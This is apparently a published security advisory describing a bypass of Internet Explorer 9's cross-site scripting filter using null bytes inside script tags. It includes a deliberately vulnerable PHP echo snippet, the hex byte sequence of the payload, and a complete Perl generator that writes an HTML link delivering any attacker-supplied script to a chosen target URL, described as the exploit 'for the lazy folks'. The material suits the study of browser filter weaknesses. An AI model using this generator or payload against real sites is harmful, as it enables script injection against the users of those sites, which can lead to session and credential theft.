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Internet Explorer 9 XSS Filter Bypass
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Discovered by: Jean Pascal Pereira <pereira@secbiz.de>
 
Vendor information:
 
"Internet Explorer (formerly Microsoft Internet Explorer and Windows Internet Explorer, commonly 

abbreviated IE or MSIE)
is a series of graphical web browsers developed by Microsoft and included as part of the Microsoft 

Windows line of operating
systems, starting in 1995. It was first released as part of the add-on package Plus! for Windows 95 

that year. Later versions
were available as free downloads, or in service packs, and included in the OEM service releases of 

Windows 95 and later versions of Windows.."
 
Vendor URI: http://www.microsoft.com
 
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Issue: Cross Site Scripting Filter Bypass
 
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Description:

The Internet Explorer 9 offers a feature to eliminate suspicious pattern passed to the website by a 

parameter.

For example, we have the following script:

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<?php

echo $_GET['a'];

?>

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Let's call it "blah.php". Now we access the blah.php by using Internet Explorer 9 and try to execute a 

malicious string:

http://localhost/ieb/blah.php?a=<script>alert(1)</script>

After this, we receive the message "Internet Explorer has modified this page to help prevent cross-

site scripting".

The JavaScript won't be executed.

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Proof Of Concept:
 
This trick may be known to some of you. Internet Explorer allows stripping tags by inserting 

nullbytes.

For example, the following string will be executed:

3C 73 00 63 72 69 70 74 3E 61 6C 65 72 74 28 31 29 3C 2F 73 00 63 72 69 70 74 3E

Which is actually "<s[NULL]cript>alert(1)</s[NULL]cript>".

However, we won't be able to insert the nullbytes directly in the URI. The following example won't 

work:

http://localhost/ieb/blah.php?a=<s%00cript>alert(1)</s%00cript>

But there is still another possibility. Grab a hex editor and create a file looking like the example 

given below:

<a href='http://localhost/ieb/blah.php?a=<s[NULL]cript>alert(1)</s[NULL]cript>'>Clickme</a>

If you open the file and click the provided link, the script will be executed.
 
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Exploit (for the lazy folks):

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#!/usr/bin/perl

use strict;
use warnings;

# Internet Explorer 9 XSS Filter Bypass Generator
# Credit: Jean Pascal Pereira <pereira[at]secbiz.de>
# http://0xffe4.org

my $target  = shift || die("No target defined");
my $payload = shift || die("No payload defined");
my $lnk_txt = shift || "Click me :)";

open(OUT, ">:raw", "out.html");

print OUT "\x3C\x61\x20\x68\x72\x65\x66\x3D\x27";

print OUT $target;

print OUT "\x3C\x73\x00\x63\x72\x69\x70\x74\x3E";

print OUT $payload;

print OUT "\x3C\x2F\x73\x00\x63\x72\x69\x70\x74\x3E\x27\x3E";

print OUT $lnk_txt;

print OUT "\x3C\x2F\x61\x3E";

close(OUT);

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Example usage is:

iefilter.pl http://www.example.com?var= alert(1)

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Note:

Exploitation via <a href="ja[NULL]vascript:... links is also possible.

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Solution:
 
Currently, no solution is available for this issue.
 
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< http://0xffe4.org >